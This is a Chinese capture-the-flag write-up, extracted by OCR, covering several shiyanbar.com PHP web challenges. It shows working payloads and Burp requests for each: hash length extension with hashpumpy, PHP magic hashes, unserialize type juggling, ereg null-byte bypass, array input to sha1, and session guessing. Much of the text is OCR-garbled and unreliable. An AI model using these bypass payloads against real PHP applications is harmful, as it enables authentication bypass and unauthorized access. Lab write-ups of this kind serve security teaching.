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&« G | @ & cti5.shiyanbar.com/web/kzhan.php B ey » =

Admins Only!

If you have the correct credentials, log in below. If not, please LEAVE.

Username:
Password:
Sulbmit
@ O =854 mEle D WEiEeE () ESEEE @ M {mE @ HackBar  » H o« x
& Load URL http://ctf5.shiyanbar.com/web/kzhan.php
gg Split URL
%
Execut
) Exectte Post data (| Referrer | User Agent [ Cookies
B H #R

B —E RRE AR ER)
Hint: XA AEA BB RS SR EETH 4. .

R CTF{}



iFe R JB
Fburpsuite#M&f5, &K Icookie BH —FBk source=0 , BEHUA1EIREE .

‘s0e@
Burp Intruder Repeater Window Help

Burp Suite Community Edition v1.7.30 - Temporary Project

[Target I Proxy I Spider I Scanner I Intruder T Repeater T Sequencer I Decoder T Comparer I Extender I Project options I User options IAlerts ]

Go

Cance < v > v Target: http://ctf5.shiyanbar.com | #|| 7|
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]
POST fweb/kzhan.php HTTE/1.1 i Connaction: close i
Host: ctfbh.shivanbar.com r Caontent-Type: text/html
User-Agent: Mcozillaf5.0 [Macintosh; Intel Mac 0S5 X 10.13;
rv:161.0) Gecko/ /20100101 Firefox/61.0 <html>
Aocepts <bady>
text/html ,application/xhtml+xml ,application/xml;g=0.9,*/%;g
=0.8 <pre=>
hAocept-Languages $flag = "XXXXAXXKXXAXAXXXXXAXXKX";
zh-CH,zh;gfF0.8,2h-TW;g=0.7,2h-HK;q=0.5,an-08;g=0.3,en;g=0.2 S$secret = "XXXXKXXKXKXKXXKXXX"; // This secret is 15
characters long for security!
Aocept-Egcoding: gzip, deflate
Referery http://ctib.shiyvanbar.com/web/kzhan.php Susername = §_POST["username'];
ContentfType: application/x-www—form-urlencoded Spassword = $_POST[ "password”];
Content™=Length: 29
i sple-hash=571580k26chhf3063706d4f064eh3chhe?; if (lempty(5_COOKIE["getmein"]1)) {
‘|‘|Jaijj‘] if (urldecocde(Susername) === "gdmin" &&
6f/3553anp0915a4chB2edh16dffhbo3=1R30640464; urldescoda($passwerd) != "admin") {
Hm cv 34d6f7353ab0015a4c582e451Adffhci=1*viaitars154661%20n if (SCOOKIE["getmsin"] === md5(Ssecrat I
ickName33A%EB3B0B13E729A%643E5%90%BA%EASICSB0RELSA4RAT urldecoda(Susarnamsa Spassword))) {
DHT: 1 eche "Congratulations! You are a registered
Connection: close usaxr.\n";
Upgrade-Insecure-Requests: 1 dis ("The flag is ". Sflag);
H
username=adminfpassword=admin else {
dis ("Your cookiss den't matech up! STOP
HACKING THIS SITE.");
H
H
alse {
dis ("Tou ars not an admin! LEAVE.");
- 3 -
v N v
1 search term 0 matches ? < + > Type a search term 0 matches

1,605 bytes | 26 millis

YRR 3



<html>
<body>

<pre>
$flag = "XXXXXXXXXXXXXXXXXXXXX" 5
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$_POST["username"];
$_POST["password"];

$username

$password

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);

}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source"”, 0, time() + (60 * 60 * 24 * 7));

}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
</pre>

<h1>Admins Only!</h1>
<p>If you have the correct credentials, log in below. If not, please LEAVE.</p>
<form method="POST">
Username: <input type="text" name="username"> <br>
Password: <input type="password" name="password"> <br>
<button type="submit">Submit</button>
</form>

</body>
</html>

MIRRL 54, BT LLE Blflagh)SREVE R 2. f£i#—~cookie getmein ffHZET secret+urldecode($username . $password)
MD5 N2 5 i 45 5 H.E Rusernameyadmin, password /g Nadmin. ArLLX BRI Thashk BEY BLd, BAERBEIES%E T
O, LE, XFE2, LE3, #HHFEEELEOMI.

XERAR —NEREAN AR, FHITE hashpumpy #AThasMER#ITIHE, 4 HARG


https://blog.csdn.net/syh_486_007/article/details/51228628
http://www.freebuf.com/articles/web/69264.html
http://www.freebuf.com/articles/web/31756.html
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks

#!/usr/bin/env python
#-*- coding: utf-8 -*-
@Author : darkNete
@Create date : 2018-07-10
@description : MAFH KL
@Update date

import hashpumpy

# def hashpump(hexdigest, original_data, data_to_add, key_Length)
aaa = hashpumpy.hashpump("571580b26c65f306376d4f64e53cb5c7", "admin", "darkNete", 20)

print aaa

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML Tkender}

POST /web/kzhan.php HITE/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozillsa/5.0 (Macintosh; Intel Mac 0S5 X 10,13;
rvi161.0) Gecko/20100101 Firefox/61.0

hooept

text/html,applicatiaon/xhtml+xml ;application/xml;g=0.9,+/#;q
=0.8

Roccept-Language:
gh-CH,zh;g=0.8,2h-TW;g=0.7,8h-HK;g=0.5,en-0U8;g=0.3,aen;g=0.2

hocept-Encoding: gezip, deflate

Referer: http://ctfb.shiyvankbar.com/web/kzhan.php
Content-Type: applicatlon/x-www-form-urlencoded
Content-Length: 154

Coockie: sample-hash=571580b26ca5f306376d4£64ebh3chbe?;
source=0;getmein=686lafeb8bd27674cadhlZbe3ff3h3lc;
Hm_lwt_34d6f7353ab0915a4ch82e451adffbe3=1530840404;
Hm_cv_34d6£7353ab0915a4c582e4516dffbed=l*vieltor~154661%2Cn
lekWNamet3AEEBSR0%813E730A%B45EF590%BAEEAEICE805ERER4EAT
DHNT: 1

Connesction: close

Upgrade-Insecure-Requeste: 1

username=adminipassword=admins80%00%00800%00%00800800%800%00
E00800500500%00800800%00800800%800500%800%00800800%0080080080
0%00%cB800%00%00%00800%00%00darknldte

e

HITE/1.1 200 OK

Date: Tue, 10 Jul 2018 01:49:32 GMT

Server: Apache/2.4.18 (Win32) OpensSsL/1.0.2e PHEP/5.3.29
¥-Dowered-Bys PHDP/5.3.2%

Cantent-Length: 112

Cannection: clase

Content-Type: text/html

<html >
<body>

Congratulaticns! ¥ou are a rogistorsd user.
The flag is CTF{cOOkie5_4nd_haAshIng_@0_w3LL_tOg3ther}




B H
http://shiyanbar.com/ctf/1846

_ ctfs.shiyanbkar.com/indirection/ X shiyanbar.com/welbfk:

&« & | @ ctf5.shivanbar.com/indirection/ BE e gy » =

Flag:

<?php
// code by SECRUSTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head>
<body>";

$URL = $_SERVER[ 'REQUEST URI'];
//echo 'URL: '.$URL. '<br/>';

$flag = "CTF{??7?}";
$code = str_replace($flag, 'CTF{?7?}', file_get contents('./index.php'));
Sstop = 0;

/ REBE RS A REHEM
/FE—, BH17ILAMEE /indirection/a/../ /indirection/./ HEX—EMN
/IFREA, E—TERMEAELI ./
if($flag && strpos($URL, './') l== FALSE){
Sflag — n";
Sstop 1; //Pass

}

/I, BTAILAMMEIE \ RATEEIERN /

//FREA, BT ERMEAFEHIN ../

if($flag && strpos(SURL, '\\') l== FALSE)}{
$Elag = ”"}
Sstopn = 2: / /Pass

B H R

iRk 52, A REEZIFlag?
BR: CTF{}

i R S8 %

Vi M %E$E http://ctf5.shiyanbar.com/indirection/index.php/index.php , FtW LLEEIKREFflag.

A H A Bt 208 SR kA= V5 [alindex.php, ERRS] T ZM4ARMEH ./ ../ \\TTERBFERNSFE, ArLAfEphp/sin
A, XBERATTAF S A, #Hindexphp/EHindexphp i LS b, B LURS 2% R &@H 8 —/Nindex.php,
RFMRIGE .

&« C | @ ctfs.shivanbar.com/indirectionfindex.phpfindex.php v B e Py » =

Flag: CTF{PSEDUQ_STATIC_DO_YOU_KNOW}

<?php
// code by SECEUSTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head>
<body>"';

$URL = $_SERVER[ 'REQUEST URI'];

flamh~ '"1TDT. 'oarroT Pl !

Flag: CTF{PSEDUQO_STATIC_DO_YOU_KNOW}



Forms

B H g8
http://shiyanbar.com/ctf/1819

B H R

IPH ANFEAPINIG R AR, LEFRATUE B b2 451
R ctf{}

€< > C | @& ctf5.shiyanbar.com/10/main.php 2 e P »

Notice: Undefined index: PIN in C\h43a1W3\phpstudy\WWW\10\main.php on line 11

Notice: Undefined index: showsource in C:\h43a1W3\phpstudy\WWW\10\main.php on line 12
PIN:

Enter

iR B B B
HABHE, AT, HHbpERE)E, KIWAE— showsource T, BEUN1REEBITFEN, HEE -
19827747736161128312837161661727773716166727272616149001823847 HE Apinik X £ F|Flag.

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIREhder]
POST f10/main.php HITR/1.1 A Server: Apache/?.4.18 (Win32?) OpenSSL/1.0.Ze PHP/5.3.29
Host: ctfbh.shiyvanbar.com r ¥-Powered-By: PHP/5.3.29
User-Agent: Mozilla/h.0 (Macintash; Intel Mac 05 X 10.13; Cantent-Length: 512
rv:161.0) Gecko /20100101 Firefox/61.0 Cannaction: close
Accepts: Cantant-Type: text/html
text/html ,application/xhtml+xml ,;application/xml;g=0.9,+/%;g
=0.8 <html>
Accept-Language: <head>
gh-CW,2h;g=0.8,2h-TW;g=0.7,2h-BK;g=0.5,en-05;g=0.3,ensg=0.2 <titlexFerms</title>
</head>
Accept-Encoding: gzip, deflate <baody>
Referer: http://ctib.shiyanbar.com/10/main.php
Content-Type: application/z-www-form-urlencoded <pra>
Content-Length: 18 S$a = § POST["PIN"];
Cookle: if (Sa ==
Hm_lwt_34d6f£7353ab031badchBledbhlodfifhbe3=1530840464; =198277477361611283128371616617277737161667272726161490018
Hm_cv_34d6f7353ab0%16adch82aed4h16dffheid=l4visitor*154661%2Cn 23847) {
lokNamet3RtESSB0EB1SET7E9A%G8I5EREI0E0AREASICEB0RERERAERT acho "Ceongratulations! The flag is $flag”;
DHNT: 1 } alss {
Connection: clase achoe "User with prowvided PIN not found.";
Upgrade-Insecure-Reguests: 1
</pre>User with provided PIH not found.
PIN=1showsourca=1 <form action="" methad="post">
PIN:<br>
<input type="password"”" name="PIN" walue=""=
<input type="hidden" name="showsource" walue=0>
<button type="submit">Enter</button>
</ form>
</ bady>
</html>




<html>

<head>

<title>Forms</title>

</head>

<body>

<pre>

$a = $_POST["PIN"];

if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";

} else {

echo "User with provided PIN not found.";

</pre>User with provided PIN not found.
<form action="" method="post">
PIN:<br>
<input type="password" name="PIN" value="">
<input type="hidden" name="showsource" value=0>
<button type="submit">Enter</button>
</form>
</body>
</html>

RMEHE RS

BH
http://shiyanbar.com/ctf/1810

<« G | @ ctf5.shiyanbar.com/10/webl/ 2 EETTIE + S S —

ANMEHERS

ZE5RETE

Nk :admin #8%:admin
MEXANIPEAMNHNERFRIERL EZRENBRASTICEEHR,

ARBROERENN™ M.
FRF#:  admn
A admin
BARS

B H iR

T AR BT Bk Ak
A ctf{ }

fif i E

HNBLH G, FIAMIYERS, MEPRERR <! -- $test=$ GET['username']; $test=md5($test); if($test=='0') -->, 1RHH
BAUIERZ— N Hashtb B M i, BEARNBIEEE LE PHP Hashtb B 5, XERMRFEZRIBIU 0e FFLKImMd5, X#E
e LB RAMEN . TH—LL oe FFLHImd5%1I&


http://www.freebuf.com/news/67007.html

QNKCDZO
0e830400451993494058024219903391

$878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

$214587387a
0e848240448830537924465865611904

$214587387a
0e848240448830537924465865611904

$878926199a
0e545993274517709034328855841020

{fF s878926199a RS H T H IR

Accept-Encoding: gzip, deflate

Referer: http://ctfbh.shivanbar.com/10/webl/

Content-Type: multipart/form-datas;
boundary=----————————-—-—————————————— 34212325812518741871352
171250
Cantent-Lengths:
Cackieas
Hmﬁlvt734d6f7353ab091564c582e4516dffbc3=15308h0464;
Hm_cv_34d6£7353ab091badchBZedblodffbei=lsvicitor*154661%82Cn
1cktamet 3ASEBER0561E7E0AB45EREI0EBAREANSICEB0EELEALSAT
DHNT: 1

Cannection: close

Upgrade-Insecure-Regquests: 1

304

————————————————————————————— 34212325812518741871352171250
Content-Disposition: form-data; name="username"

=87892619%a I
_______________ 34212325812518741871352171250

<p»IKF :admin&gnbsp;&nbsp; B0 : admin</p>
<prHERAKPEANMBEF 2NEE, SERE(1BASRIEEREE. </¢
>

<form enctype="multipart/form-data" method="past"
action="index.php"»

<table»

<hhe

<td>ARIEMIERRENSGE. </td>

</th>

<tr=

<td>ﬁfhg:<!td><td><input type="text" name="username"
value="admin"></td>

<frre

“tr>

<td=TH8: </ tda<tdr<input type="text" name="password"
value="admin"=</td>

<ftr=

<tr=>

<td=<input type="esubmit" walue="E A ELH"</td>

<frre

Content-Disposition: form-data; name="password" </tablex>
admin fuser.php?fame=hjkleffiferd’/ - s$test=¢ GETf 'username'];
----------------------------- 34212325812518741871352171250- = i q=01) >
- </bady>
</html>
L
v
TITEREINE
$unserialize_str = $_POST[ 'password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???")
print_r($flag);

HBRIBZEKphp T F8: RWAR, BBAIR.
Bl % M BE 4R

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
text/html ,application/xhtml+xml ,application/xml;g=0.9,+*/*;qg |4 </head> Iy
=0.8 <bady>
Accept-Language: <h1>FKMEBRE</L1>
zh-CW,zh;g=0.8,zh-TW;g=0.7,2h-BK;g=0.5,en-05;g=0.3,en;g=0.2 <prRESREE</ >

RN



X BE A E S5t password E BT T R FHIMN, AEiEEHMuserE T 222, HEifpassthZEF 222,

ERBAINEERL 222 BRRAH 4, HUTEZEEBHphpREHEXFERE. s TER —MER: “BRIBEXphpT 5
. AR, WMEAR/R”, bool2KRY Mtrue IRAE B 747 5 P LASSRAUARSE . RIBLIRATAT LLAgiEbool R B P 5L 4 , Tkt
BEERM 4, ERE Atrue. (affKarray, sfiFstring, bfRFEbool, MHARENHKSED

Hi&password{E A: a:2:{s:4:“user’;b:1;s:4:“pass”;b:1;}

EEE S RAHIERE, BRI 3RkEflag: ct{dwduwkhduw5465}

e R

</ form=>
5B878926199%&a fuser.php?Pfame=hjkleffiferctf {dwduwkhduw5d65}</ -
————————————————————————————— 34212325812R187418713R21712R0 Stest=§ CETf 'username']; Stest=md5{stest); 1f(stest:
Zontent-Dispositicn: form-data; name="password" -

</body>
a121f{s1d:1"user";b1lje1d1"pase"1b1l;} </html>

----------------------------- 34317325812516741671352171250—

B H s
http://shiyanbar.com/ctf/1808

_ loge

&« & | (D ctf5.shiyanbar.com/10/upload/stepl.php?emailAddres - TTI & S S

¥ ClFiEstep

input regist email:

A H iR

RIE 21
#R: SimCTF{ }

it RSB 2%
W E A SRR, &% Estepl.php RIEIRATHRGE, &% Hstep2.phpH, 4R/5E1iHstep2.phpe D Fik[Hstepl.php. BT EAITAE
% — Fstep2.phpHI N %«



<br />
<meta http-equiv=refresh content=0.5;URL="./stepl.php">check error!<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="renderer" content="webkit" />
<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" />
<title>logic</title>

</style>

</head>

<body>

<form action="submit.php" method="GET">
<h1>#EIFHstep2</hl>
email:<input name="emailAddress" type="text" value="youmom" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="#&%x">

</form>

</body>

</html>

R 3 T step2.php£ K I 23R 32 Blsubmit.php. 15 i submit.php 0. 45 HRR

&« G | @ ctf5.shiyanbar.com/10/upload/submit.php BRSO e 1Y

you are not an admin

TEstep2.php ARG R RIIFEE R B, WU submit.php BREAT L. XEBEANY, FEAsubmit.php i ZE47 T
{4 . submit.php.swp , XAICMHRMEAVImGmER 8 TH—ANCE, U5 515 2]submit.phpIEiS .

Request Kesponse
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /10/upload/.submit.php.swp HITE/1.1 i PRIMARY KEY [ 1d")

Host: ctfbh.shivanbar.com
User-Agent: Mcozilla/5.0 [Macintosh; Intel Mac 05 ¥ 10.13;
rv:61.0) Gecko/20100101 Firefox/61.0

| EHNGINE=MyISAM DEFAULT CHARSET=utfB AUTO_IHNCREMEHT=Z ;

Accept: —- EEEDPHEIE “user”
text/html ,application/xhtml+xml ,application/xml;g=0.9,+/+;g --
=0.8
hooept-Languages INSERT INTO “user” ([ 14", "usernams”, “email”, “tokan™)
zh-CN,zh;g=0.8,2h-TW;g=0.7,8h-HK;g=0.5,en-0U8;3=0.3,aen;g=0.2 VALUES
(1, "w*x&x O laxx" | Txwes T Mlesx" 0 ;
Rkocept-Encoding: gzip, deflate x/
Referert: http://ctfb.shiyankar.com/10/upload/etepl.phy
Cookle:
Hm 1wt 34d6f7353ab0915a4c582e4516dffbec3=1530840464; | wuvevans BT EEREONE. ... ...
Hm_cv_34d6f7353ab0%16ad4ch82aedbhlodffhed=l*vicitar*15466182Cn
ickNames3ASEBLE05813E759AB45E539038REAEICEB0SEE3ALEAT if(!lempty(§tokenas!empty( $emailaddrecs) ||
DNT: 1 1f({strlen|étoken)!=10) die( "fail'j;
Connection: close 1fj$taken!="0") die| "fail');
Upgrade-Insecurae-Reguests: 1 $sgl = "SELECT count(#) as num from “user” where

rn

taken='§taken’ AND email='${emallAddress'":
$r = mysgl query|$sgl) or die('db errar’);
fr = mysgl_fetch_assac(ir);

$r = §r{'num’];
1f(sr=0){

acho §$flag:
}else{

echo "KIITIF";
}

e

1S



if(lempty($token)&amp;&amp; !empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0") die('fail');

$sql = "SELECT count(*) as num from “user  where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');

$r = mysql_fetch_assoc($r);

$r = $r['num'];

if($r&gt;0){

echo $flag;

telse{

echo "R TH";

}
}

XBIRG A T M E2flag, AR KM

1. token, KENHZET10,
2. token EAl o %, XHE VAT phpiaRtbE:, HE] 0000000000 i A] LLouid ix i 45 R # .

B 3payload : http://ctf5.shiyanbar.com/10/upload/submit.php?
emailAddress=admin@simplexue.com&amp;token=0000000000 -

(— — @ | @ ctf5.shivanbar.com/10/uploadfsubmit.php?emailAddress T

flag is SimCTF{huachuan_TdsWX}

flag is SImCTF{huachuan_TdsWX}

Once More



B H
http://shiyanbar.com/ctf/1805

(@ ctf5.shiyanbar.com/web/more.php?password= ees =
« & @ ctf5.shiyanb Jweb/ hp? d=111 B wo»

Invalid password

Passward

Check

View the source code

<?php
if (isset ($_GET[ 'password']))
if (ereg (""[a-zA-Z20-9]+8", §_GET[ 'password']) === FALSE)
echo '<p>You password must be alphanumerie</p>';
}
else if (strlen($ GET[ 'password']) < 8 && $_GET[ 'password'] > 99!
{
if (strpos ($_GET['password'], '*-*') l== FALSE)
{
B H ik

Wihr? N REphpHit. 2T,
hint: ereg()RECHIRIAME,; M/NEITk 5 E AR 2 53R EH.
¥ CTF{

it R B B
A H WA View the source code , & FJEY,

if (isset ( ["password'])) {

if (ereg ("~[a-zA-Z0-9]+%", [ 'password']) === FALSE)
{
L

echo '<p>You password must be alphanumeric</p>"';

)i
else if (strlen( ["password']) < 8 && [ "password'] > 9999999)
{
if (strpos ( ["password'], "*-*") l== FALSE)
{
die('Flag: ' . );
by
else
{
echo('<p>*-* have not been found</p>');
by
by
else
{
echo '<p>Invalid password</p>";
by

}



A E I = KRS, Fnfrged.

1. ereg ("1+$", $_GET['password’]) === FALSE

=RAESET

== Ml |= WELERAAR, Sl HRt, BREERER, SEREEKERSER

[ii]

===l | REEMFRET 4 HEHE.

ereg() &R £ 48 RE B AR R — A T4 8t 8 R 0545 5 I R IL BC A D IR [Eltrue, 75 U, U 3R [Bl false

XA FIWTRR ] TR R B89 R B FR BT, [HEZRBAFE oo BWIRIA.

2. strlen($_GET['password’]) 9999999, BR#I|FZRF & KE/NF8, EHKF9999999.
3. strpos ($_GET['password’], ‘) |== FALSE, FR#I#NKELFE S *-* ,

FrLA% Hipaylload, 1e8%@0*-* , 1e9%00*-* ,

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
GET /web/more.phpfpassword=1e8%00+—+% HITP/1.1 i HTTER/1.1 200 OK
Host: ctfh.shiyvanbar.com i Date: Tue, 10 Jul 2018 03:20:37 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S8 X 10.13; Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2Ze PHP/5.3.24
rvi6l.0] Gecka/20100101 Firefox/61.0 ¥-Powered-By: PHE/H.3.29
Accept: Cantent-Lengths: 102
text/html ,application/xhtml+xml ,application/xml;g=0.9,*/*;q Cannection: close
=0.8 Cantent-Type: text/html
Accept-Language!
zh-CNW,zhrg=0.8,2h-TW3g=0.7,2h-HK3g=0.5,en-053g=0.3,en3g=0.2 <html>
<head>
Accept-Encading: gzlip, deflate <title>Once More</titlex
Referer: </head>
http://ctfb.shiyvanbar.com/web/more.phplpassword=1e9%2500%-* <hody=<br /=
<center>
Cookie: sample-hash=571580bZbochbi306376d4t64ah3chbo’; Flag: CTF{Ch3ck_anD_Ch3chk}
saurce=0;
Hm 1wt 34d6f7353ab091badchB2ed4hlodffbe3d=1530840464;

Flag: CTF{Ch3ck_anD_Ch3ck}

Guess Next Session



B H
http://shiyanbar.com/ctf/1788

_ Guess Mext Session >

« > ¢ (@ ctf5.shiyanbar.com/web/Ses B | e 1Y ME iIn 89 @O & » =

« 289913
« 3382055
« 7149288

Mext number

Guess

View the source code

<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET[ 'password'] ==
§_SESSION[ 'password'])
die ('Flag: '.Sflag);
else
print '<p>Wrong guess.</p>';

}

mt_srand((microtime() ™ rand(l, 10000)) %
rand(1l, 10000) + rand(1l, 10000));
>

8 H R
EARREHEREHRT, 23333

hint: REAERAEINEE HIWTFM4?
¥ CTF{}

it R B B
A H WA View the source code , & FJERY,

session_start

if (isset 'password’
if 'password'] == 'password’
die ('Flag:
else

print '<p>Wrong guess.</p>'

mt_srand((microtime A rand(1l, 10000 % rand(1, 10000) + rand(1l, 10000



F— Fi&%&MHiEf), FEsessiont HipasswordEM A £ —FE, BA AT ENflag, Frbl R & E M sessionft, sFH BN
sessionf A— M A TFEKIsession, ARG 2:FKEUA Fsession, Mpassword A%, 1 4E—AN2 password i3k 2 B AT £ 5

flag.

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
GET /web/Session.phpfpassword= HTTF/1.1 & HITPS1.1 200 OK
Host: ctf5.shiyvanbar.com r Date: Tue, 10 Jul 2018 03:30:44 GMT
User-Agent: Mozilla/5.0 [(Macintash; Intel Mac OS X 10.13; Server: Apache/?.4.18 (Win32?) OpenSSL/1.0.2e PHP/5.3.29
rvi6l.0) Gecko/20100101 Firefox/61.0 ¥-Powered-By: PHE/5.3.29
Rooept: Expires: Thu, 19 Wowv 1981 08:52:00 GMT
text/html,application/xhtml+xml,application/xml;g=0.9,%/+%;g Cache-Control: no-store,; no-cache, must-revalidate,
=0.8 post-check=0, pre-check=0
Accept-Language: Pragmai: no-cache
zh-CH,z2h;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-U8;g=0.3,en;g=0.2 Cantent-Length: 112

Cannectiaon: close

Aocept-Encoding: gzip, deflate Cantent-Type! text/html
Referer:
http://otfh.ehiyanbar.com/wek/Seseion. phpfpassword= <html>
Cookie: sample-hash=K71560b26c6hEf306376d4f64a53chbbaT; <head>
source=0; <title>@uess Hext Session</titla>
Bm_lwvt_34d6f7353ab0915a4c582e4516dffbec3=1530840464; </head>
Hm_cv_3446f7353ab0315a4c582e4516dffbc3=l*viaitor*154661%2Cn <bodyr<br /=
ickHamas = i = E6E9CEB0SERER4ERT <center>
PHPFSESSIf=abdcnaonb3iguilrjZujditksrih N Flag: CTF{cl3ar_th3_S3sslon
DNT: 1 : S TI%ESUWF??EE’ME s t - T '
Connection: close
Upgrade-Insecure-Regquests: 1

Flag: CTF{CI3ar_th3_S3ss1on}

FALSE

B H &
http://shiyanbar.com/ctf/1787

<« ¢ @ (@ # ctf5.shiyanbar.com/web/ B | e 1Y ME I 8 @O & »

Login first!

Legin

View the source code

<?php
if (isset($_GET['name']) and isset($_GET[ 'password']}) {
if ($_GET[ 'name'] == §_GET[ 'password'])
echo '<p>Your password can not be your namel</p>';

else if (shal($_GET[ 'name']) === shal($_GET[ 'password']))
die('Flag: '.S$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login firstl</p>';
>

B iR

PHPARAE & i1
hint: shalB®ERENE T LG ? it A FAndShiEo(F o Yo
A CTF{}



17 AR B 2%
A8 H W View the source code , & HVEY,

<?php
if (isset($_GET['name']) and isset($_GET[ 'password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your namel!</p>';

else if (shal($_GET['name']) === shal($ GET[ 'password']))
die('Flag: '.$flag);
else

echo '<p>Invalid password.</p>';

}

else{
echo '<p>Login first!</p>';
?>

ABHSEH T WK

1. B BT
2. B P % Hshat ()2 ===
- RAEHFRET A S HEIE. shal (RERNNENSHAIHRFHEM, TUEAFMAT, MR EENfaise.

PUE e it
Fr A% Hpayload’y, name[]=a&amp;password[]=b .

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

GET /web/false.phpfname[ |=atpassword[ ]=b| HTTP/1.1 i HITE/1.1 200 CK
Host: ctfS.shiyanbar.com - Date: Tue, 10 Jul 2018 03:44:33 GMT
User-Agent: Maozilla/5.0 (Macintosh; Intel Mac OS5 ¥ 10.13; Server: Apache/2.4.18 [(Win3Z?) OpenSSL/1.0.2e PHP/K.3.29
rv:8l.0) Gecka/20100101 Firefox/6l1.0 X-Powered-By: PHE/H.3.29
Accept: Content-Length: 104
text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g Cannectiaon: close
=0.8 Cantent-Type: text/html
Accept-Language:
zh-CH,2zh;g=0.8,2h-TW;g=0.7,2h-BK;g=0.5,en-US8;g=0.3,en;g=0.2 <html=

<head=
ARocept-Encoding: gzip, deflate <title>PHP Code Audit</title>
Cookie: sample-hash=h715800b26ch5f306376d4f64a530bha7; </head>
source=0; <hody><br/=>
Bm_lwt_34d6f7353ab05%1badchtiedbladffbe3=1530840464; <gcenter>
Em_cv_34d6£7353ak0915a4ch82adhl6dffbei=l*vicitor~*154661%2Cn Flag: CTF{t3st_th3_shal}
1okNames3AEEGER05B1EET50AE64EERE908BRREAEICEE0SESERISBAT;
PHPSESEID=abdcnonb3gquilrjZujitkB8r7¥3h
DHT: 1
Caonnacticon: close
Upgrade-Insecure-Regquests: 1

Flag: CTF{t3st_th3_Sha1}

a-zA-Z0-9 <
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